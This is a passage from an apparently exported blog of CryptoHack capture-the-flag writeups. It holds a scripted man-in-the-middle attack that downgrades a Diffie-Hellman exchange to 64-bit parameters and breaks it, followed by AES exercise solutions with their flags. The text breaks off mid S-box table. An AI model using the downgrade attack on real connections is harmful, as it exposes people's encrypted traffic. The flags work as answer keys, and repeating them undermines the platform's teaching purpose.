crypto{n1c3_0n3_m4ll0ry!!!!!!!!}\nExport-grade Alice and Bob are using legacy codebases and need to negotiate parameters they both support. You\u0026rsquo;ve man-in-the-middled this negotiation step, and can passively observe thereafter. How are you going to ruin their day this time?\nConnect at nc socket.cryptohack.org 13379\nSolution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib from pwn import * from sage.all import * from json import loads, dumps def is_pkcs7_padded(message): padding = message[-message[-1]:] return all(padding[i] == len(padding) for i in range(0, len(padding))) def decrypt_flag(shared_secret: int, iv: str, ciphertext: str): # Derive AES key from shared secret sha1 = hashlib.sha1() sha1.update(str(shared_secret).encode(\u0026#39;ascii\u0026#39;)) key = sha1.digest()[:16] # Decrypt flag ciphertext = bytes.fromhex(ciphertext) iv = bytes.fromhex(iv) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) if is_pkcs7_padded(plaintext): return unpad(plaintext, 16).decode(\u0026#39;ascii\u0026#39;) else: return plaintext.decode(\u0026#39;ascii\u0026#39;) r = remote(\u0026#39;socket.cryptohack.org\u0026#39;, 13379) # Alice -\u0026gt; Us r.readuntilS(b\u0026#39;Alice: \u0026#39;) # Us -\u0026gt; Bob payload = dumps({\u0026#34;supported\u0026#34;: [\u0026#34;DH64\u0026#34;]}).encode(\u0026#39;latin\u0026#39;) r.sendlineafter(b\u0026#34;Bob: \u0026#34;, payload) # Bob -\u0026gt; Us r.readuntilS(b\u0026#39;Bob: \u0026#39;) # Us -\u0026gt; Alice payload = r.readline() r.sendlineafter(b\u0026#34;Alice: \u0026#34;, payload) # Alice -\u0026gt; Us r.readuntilS(b\u0026#39;Alice: \u0026#39;) json = loads(r.readlineS()) p = GF(json[\u0026#39;p\u0026#39;]) g = p(json[\u0026#39;g\u0026#39;]) A = p(json[\u0026#39;A\u0026#39;]) # Bob -\u0026gt; Us r.readuntilS(b\u0026#39;Bob: \u0026#39;) json = loads(r.readlineS()) B = p(json[\u0026#39;B\u0026#39;]) # Alice -\u0026gt; Us r.readuntilS(b\u0026#39;Alice: \u0026#39;) json = loads(r.readlineS()) iv = json[\u0026#39;iv\u0026#39;] ct = json[\u0026#39;encrypted_flag\u0026#39;] # Decrypt n = discrete_log(A, g) shared_key = B**n flag = decrypt_flag(shared_key, iv, ct) print(flag) Alternate solution(s): [ image source: CryptoHack user @FELD ] flag: crypto{d0wn6r4d35_4r3_d4n63r0u5}\n","permalink":"https://woadey.github.io/posts/cryptohack/public-key_cryptography/","summary":"Writeups for CryptoHack\u0026rsquo;s \u003ca href=\"https://cryptohack.org/courses/public-key/course_details/\"\n title=\"Public-Key Cryptography Course\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003ePublic-Key Cryptography Course\u003c/a\u003e","title":"CryptoHack Writeup: Public-Key Cryptography"},{"content":"Keyed Permutations AES, like all good block ciphers, performs a \u0026ldquo;keyed permutation\u0026rdquo;. This means that it maps every possible input block to a unique output block, with a key determining which permutation to perform.\nUsing the same key, the permutation can be performed in reverse, mapping the output block back to the original input block. It is important that there is a one-to-one correspondence between input and output blocks, otherwise we wouldn\u0026rsquo;t be able to rely on the ciphertext to decrypt back to the same plaintext we started with. What is the mathematical term for a one-to-one correspondence?\nSolution flag: crypto{bijection}\nResisting Bruteforce If a block cipher is secure, there should be no way for an attacker to distinguish the output of AES from a random permutation of bits. Furthermore, there should be no better way to undo the permutation than simply bruteforcing every possible key. That\u0026rsquo;s why academics consider a cipher theoretically \u0026ldquo;broken\u0026rdquo; if they can find an attack that takes fewer steps to perform than bruteforcing the key, even if that attack is practically infeasible.\nIt turns out that there is an attack on AES that\u0026rsquo;s better than bruteforce, but only slightly – it lowers the security level of AES-128 down to 126.1 bits, and hasn\u0026rsquo;t been improved on for over 8 years. Given the large \u0026ldquo;security margin\u0026rdquo; provided by 128 bits, and the lack of improvements despite extensive study, it\u0026rsquo;s not considered a credible risk to the security of AES. But yes, in a very narrow sense, it \u0026ldquo;breaks\u0026rdquo; AES.\nFinally, while quantum computers have the potential to completely break popular public-key cryptosystems like RSA via Shor\u0026rsquo;s algorithm, they are thought to only cut in half the security level of symmetric cryptosystems via Grover\u0026rsquo;s algorithm. This is one reason why people recommend using AES-256, despite it being less performant, as it would still provide a very adequate 128 bits of security in a quantum future.\nWhat is the name for the best single-key attack against AES?\nSolution flag: crypto{biclique}\nStructure of AES To achieve a keyed permutation that is infeasible to invert without the key, AES applies a large number of ad-hoc mixing operations on the input. This is in stark contrast to public-key cryptosystems like RSA, which are based on elegant individual mathematical problems. AES is much less elegant, but it\u0026rsquo;s very fast.\nAt a high level, AES-128 begins with a \u0026ldquo;key schedule\u0026rdquo; and then runs 10 rounds over a state. The starting state is just the plaintext block that we want to encrypt, represented as a 4x4 matrix of bytes. Over the course of the 10 rounds, the state is repeatedly modified by a number of invertible transformations.\nHere\u0026rsquo;s an overview of the phases of AES encryption:\nKeyExpansion or Key Schedule From the 128 bit key, 11 separate 128 bit \u0026ldquo;round keys\u0026rdquo; are derived: one to be used in each AddRoundKey step.\nInitial key addition AddRoundKey - the bytes of the first round key are XOR\u0026rsquo;d with the bytes of the state.\nRound - this phase is looped 10 times, for 9 main rounds plus one \u0026ldquo;final round\u0026rdquo; a) SubBytes - each byte of the state is substituted for a different byte according to a lookup table (\u0026ldquo;S-box\u0026rdquo;).\nb) ShiftRows - the last three rows of the state matrix are transposed–shifted over a column or two or three.\nc) MixColumns - matrix multiplication is performed on the columns of the state, combining the four bytes in each column. This is skipped in the final round.\nd) AddRoundKey - the bytes of the current round key are XOR\u0026rsquo;d with the bytes of the state.\nIncluded is a bytes2matrix function for converting our initial plaintext block into a state matrix. Write a matrix2bytes function to turn that matrix back into bytes, and submit the resulting plaintext as the flag.\nChallenge files:\nmatrix.py Resources:\nYouTube: AES Rijndael Cipher explained as a Flash animation file: matrix.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def bytes2matrix(text): \u0026#34;\u0026#34;\u0026#34; Converts a 16-byte array into a 4x4 matrix. \u0026#34;\u0026#34;\u0026#34; return [list(text[i:i+4]) for i in range(0, len(text), 4)] def matrix2bytes(matrix): \u0026#34;\u0026#34;\u0026#34; Converts a 4x4 matrix into a 16-byte array. \u0026#34;\u0026#34;\u0026#34; ???? matrix = [ [99, 114, 121, 112], [116, 111, 123, 105], [110, 109, 97, 116], [114, 105, 120, 125], ] print(matrix2bytes(matrix)) Solution 1 2 def matrix2bytes(matrix): return \u0026#34;\u0026#34;.join([chr(n) for lst in matrix for n in lst]) \u0026gt; print(matrix2bytes(matrix)) crypto{inmatrix} Alternative solution(s):\n1 2 3 4 5 # source: CryptoHack user @Robin_Jadoul def matrix2bytes(matrix): \u0026#34;\u0026#34;\u0026#34; Converts a 4x4 matrix into a 16-byte array. \u0026#34;\u0026#34;\u0026#34; return bytes(sum(matrix, [])) flag: crypto{inmatrix}\nRound Keys We\u0026rsquo;re going to skip over the finer details of the KeyExpansion phase for now. The main point is that it takes in our 16 byte key and produces 11 4x4 matrices called \u0026ldquo;round keys\u0026rdquo; derived from our initial key. These round keys allow AES to get extra mileage out of the single key that we provided.\nThe initial key addition phase, which is next, has a single AddRoundKey step. The AddRoundKey step is straightforward: it XORs the current state with the current round key.\nAddRoundKey also occurs as the final step of each round. AddRoundKey is what makes AES a \u0026ldquo;keyed permutation\u0026rdquo; rather than just a permutation. It\u0026rsquo;s the only part of AES where the key is mixed into the state, but is crucial for determining the permutation that occurs.\nAs you\u0026rsquo;ve seen in previous challenges, XOR is an easily invertible operation if you know the key, but tough to undo if you don\u0026rsquo;t. Now imagine trying to recover plaintext which has been XOR\u0026rsquo;d with 11 different keys, and heavily jumbled between each XOR operation with a series of substitution and transposition ciphers. That\u0026rsquo;s kinda what AES does! And we\u0026rsquo;ll see just how effective the jumbling is in the next few challenges.\nComplete the add_round_key function, then use the matrix2bytes function to get your next flag.\nChallenge files:\nadd_round_key.py file: add_round_key.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 state = [ [206, 243, 61, 34], [171, 11, 93, 31], [16, 200, 91, 108], [150, 3, 194, 51], ] round_key = [ [173, 129, 68, 82], [223, 100, 38, 109], [32, 189, 53, 8], [253, 48, 187, 78], ] def add_round_key(s, k): ??? print(add_round_key(state, round_key)) Solution 1 2 def add_round_key(s, k): return [[x^y for x,y in zip(sum(s,[]), sum(k,[]))][i:i+4] for i in range(0,16,4)] or\n1 2 def add_round_key(s, k): return [[s_val^k_val for s_val, k_val in zip(s_lst,k_lst)] for s_lst, k_lst in zip(s, k)] \u0026gt; add_round_key(state, round_key) [[99, 114, 121, 112], [116, 111, 123, 114], [48, 117, 110, 100], [107, 51, 121, 125]] \u0026gt; print(matrix2bytes(add_round_key(state, round_key))) crypto{r0undk3y} flag: crypto{r0undk3y}\nConfusion through Substitution The first step of each AES round is SubBytes. This involves taking each byte of the state matrix and substituting it for a different byte in a preset 16x16 lookup table. The lookup table is called a \u0026ldquo;Substitution box\u0026rdquo; or \u0026ldquo;S-box\u0026rdquo; for short, and can be perplexing at first sight. Let\u0026rsquo;s break it down.\nIn 1945 American mathematician Claude Shannon published a groundbreaking paper on Information Theory. It identified \u0026ldquo;confusion\u0026rdquo; as an essential property of a secure cipher. \u0026ldquo;Confusion\u0026rdquo; means that the relationship between the ciphertext and the key should be as complex as possible. Given just a ciphertext, there should be no way to learn anything about the key.\nIf a cipher has poor confusion, it is possible to express a relationship between ciphertext, key, and plaintext as a linear function. For instance, in a Caesar cipher, ciphertext = plaintext + key. That\u0026rsquo;s an obvious relation, which is easy to reverse. More complicated linear transformations can be solved using techniques like Gaussian elimination. Even low-degree polynomials, e.g. an equation like x^4 + 51x^3 + x, can be solved efficiently using algebraic methods. However, the higher the degree of a polynomial, generally the harder it becomes to solve – it can only be approximated by a larger and larger amount of linear functions.\nThe main purpose of the S-box is to transform the input in a way that is resistant to being approximated by linear functions. S-boxes are aiming for high non-linearity, and while AES\u0026rsquo;s one is not perfect, it\u0026rsquo;s pretty close. The fast lookup in an S-box is a shortcut for performing a very nonlinear function on the input bytes. This function involves taking the modular inverse in the Galois field 2**8 and then applying an affine transformation which has been tweaked for maximum confusion. The simplest way to express the function is through the following high-degree polynomial:\ndiagram showing S-Box equation\nTo make the S-box, the function has been calculated on all input values from 0x00 to 0xff and the outputs put in the lookup table.\nImplement sub_bytes, send the state matrix through the inverse S-box and then convert it to bytes to get the flag.\nChallenge files:\nsbox.py file: sbox.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) inv_s_box = ( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, ) state = [ [251, 64, 182, 81], [146, 168, 33, 80], [199, 159, 195, 24], [64, 80, 182, 255], ] def sub_bytes(s, sbox=s_box): ??? print(sub_bytes(state, sbox=inv_s_box)) Solution 1 2 def sub_bytes(s, sbox=s_box): return bytes([sbox[x] for x in sum(s,[])]) \u0026gt; sub_bytes(state, inv_s_box) b\u0026#39;crypto{l1n34rly}\u0026#39; flag: crypto{l1n34rly}\nDiffusion through Permutation We\u0026rsquo;ve seen how S-box substitution provides confusion. The other crucial property described by Shannon is \u0026ldquo;diffusion\u0026rdquo;. This relates to how every part of a cipher\u0026rsquo;s input should spread to every part of the output.\nSubstitution on its own creates non-linearity, however it doesn\u0026rsquo;t distribute it over the entire state. Without diffusion, the same byte in the same position would get the same transformations applied to it each round. This would allow cryptanalysts to attack each byte position in the state matrix separately. We need to alternate substitutions by scrambling the state (in an invertible way) so that substitutions applied on one byte influence all other bytes in the state. Each input into the next S-box then becomes a function of multiple bytes, meaning that with every round the algebraic complexity of the system increases enormously.\nThe ShiftRows and MixColumns steps combine to achieve this. They work together to ensure every byte affects every other byte in the state within just two rounds.\nShiftRows is the most simple transformation in AES. It keeps the first row of the state matrix the same. The second row is shifted over one column to the left, wrapping around. The third row is shifted two columns, the fourth row by three. Wikipedia puts it nicely: \u0026ldquo;the importance of this step is to avoid the columns being encrypted independently, in which case AES degenerates into four independent block ciphers.\u0026rdquo;\nMixColumns is more complex. It performs Matrix multiplication in Rijndael\u0026rsquo;s Galois field between the columns of the state matrix and a preset matrix. Each single byte of each column therefore affects all the bytes of the resulting column. The implementation details are nuanced; this page and Wikipedia do a good job of covering them.\nWe\u0026rsquo;ve provided code to perform MixColumns and the forward ShiftRows operation. After implementing inv_shift_rows, take the state, run inv_mix_columns on it, then inv_shift_rows, convert to bytes and you will have your flag.\nChallenge files:\ndiffusion.py file: diffusion.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 def shift_rows(s): s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3] def inv_shift_rows(s): ??? # learned from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c xtime = lambda a: (((a \u0026lt;\u0026lt; 1) ^ 0x1B) \u0026amp; 0xFF) if (a \u0026amp; 0x80) else (a \u0026lt;\u0026lt; 1) def mix_single_column(a): # see Sec 4.1.2 in The Design of Rijndael t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) def mix_columns(s): for i in range(4): mix_single_column(s[i]) def inv_mix_columns(s): # see Sec 4.1.3 in The Design of Rijndael for i in range(4): u = xtime(xtime(s[i][0] ^ s[i][2])) v = xtime(xtime(s[i][1] ^ s[i][3])) s[i][0] ^= u s[i][1] ^= v s[i][2] ^= u s[i][3] ^= v mix_columns(s) state = [ [108, 106, 71, 86], [96, 62, 38, 72], [42, 184, 92, 209], [94, 79, 8, 54], ] Solution 1 2 3 4 def inv_shift_rows(s): s[1][1], s[2][1], s[3][1], s[0][1] = s[0][1], s[1][1], s[2][1], s[3][1] s[2][2], s[3][2], s[0][2], s[1][2] = s[0][2], s[1][2], s[2][2], s[3][2] s[3][3], s[0][3], s[1][3], s[2][3] = s[0][3], s[1][3], s[2][3], s[3][3] \u0026gt; inv_mix_columns(state) \u0026gt; state [[99, 111, 102, 125], [116, 102, 82, 112], [49, 51, 121, 100], [115, 114, 123, 85]] \u0026gt; inv_shift_rows(state) \u0026gt; state [[99, 114, 121, 112], [116, 111, 123, 100], [49, 102, 102, 85], [115, 51, 82, 125]] \u0026gt; matrix2bytes(state) b\u0026#39;crypto{d1ffUs3R}\u0026#39; flag: crypto{d1ffUs3R}\nBringing It All Together Apart from the KeyExpansion phase, we\u0026rsquo;ve sketched out all the components of AES. We\u0026rsquo;ve shown how SubBytes provides confusion and ShiftRows and MixColumns provide diffusion, and how these two properties work together to repeatedly circulate non-linear transformations over the state. Finally, AddRoundKey seeds the key into this substitution-permutation network, making the cipher a keyed permutation.\nDecryption involves performing the steps described in the \u0026ldquo;Structure of AES\u0026rdquo; challenge in reverse, applying the inverse operations. Note that the KeyExpansion still needs to be run first, and the round keys will be used in reverse order. AddRoundKey and its inverse are identical as XOR has the self-inverse property.\nWe\u0026rsquo;ve provided the key expansion code, and ciphertext that\u0026rsquo;s been properly encrypted by AES-128. Copy in all the building blocks you\u0026rsquo;ve coded so far, and complete the decrypt function that implements the steps shown in the diagram. The decrypted plaintext is the flag.\nYes, you can cheat on this challenge, but where\u0026rsquo;s the fun in that?\nThe code used in these exercises has been taken from Bo Zhu\u0026rsquo;s super simple Python AES implementation, so we\u0026rsquo;ve reproduced the license here.\nChallenge files:\naes_decrypt.py LICENSE Resources:\nRolling your own crypto: Everything you need to build AES from scratch file: aes_decrypt.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 N_ROUNDS = 10 key = b\u0026#39;\\xc3,\\\\\\xa6\\xb5\\x80^\\x0c\\xdb\\x8d\\xa5z*\\xb6\\xfe\\\\\u0026#39; ciphertext = b\u0026#39;\\xd1O\\x14j\\xa4+O\\xb6\\xa1\\xc4\\x08B)\\x8f\\x12\\xdd\u0026#39; def expand_key(master_key): \u0026#34;\u0026#34;\u0026#34; Expands and returns a list of key matrices for the given master_key. \u0026#34;\u0026#34;\u0026#34; # Round constants https://en.wikipedia.org/wiki/AES_key_schedule#Round_constants r_con = ( 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A, 0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A, 0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39, ) # Initialize round keys with raw key material. key_columns = bytes2matrix(master_key) iteration_size = len(master_key) // 4 # Each iteration has exactly as many columns as the key material. i = 1 while len(key_columns) \u0026lt; (N_ROUNDS + 1) * 4: # Copy previous word. word = list(key_columns[-1]) # Perform schedule_core once every \u0026#34;row\u0026#34;. if len(key_columns) % iteration_size == 0: # Circular shift. word.append(word.pop(0)) # Map to S-BOX. word = [s_box[b] for b in word] # XOR with first byte of R-CON, since the others bytes of R-CON are 0. word[0] ^= r_con[i] i += 1 elif len(master_key) == 32 and len(key_columns) % iteration_size == 4: # Run word through S-box in the fourth iteration when using a # 256-bit key. word = [s_box[b] for b in word] # XOR with equivalent word from previous iteration. word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size])) key_columns.append(word) # Group key words in 4x4 byte matrices. return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)] def decrypt(key, ciphertext): round_keys = expand_key(key) # Remember to start from the last round key and work backwards through them when decrypting # Convert ciphertext to state matrix # Initial add round key step for i in range(N_ROUNDS - 1, 0, -1): pass # Do round # Run final round (skips the InvMixColumns step) # Convert state matrix to plaintext return plaintext # print(decrypt(key, ciphertext)) Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 from Crypto.Util.number import bytes_to_long N_ROUNDS = 10 key = b\u0026#39;\\xc3,\\\\\\xa6\\xb5\\x80^\\x0c\\xdb\\x8d\\xa5z*\\xb6\\xfe\\\\\u0026#39; ciphertext = b\u0026#39;\\xd1O\\x14j\\xa4+O\\xb6\\xa1\\xc4\\x08B)\\x8f\\x12\\xdd\u0026#39; s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) inv_s_box = ( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 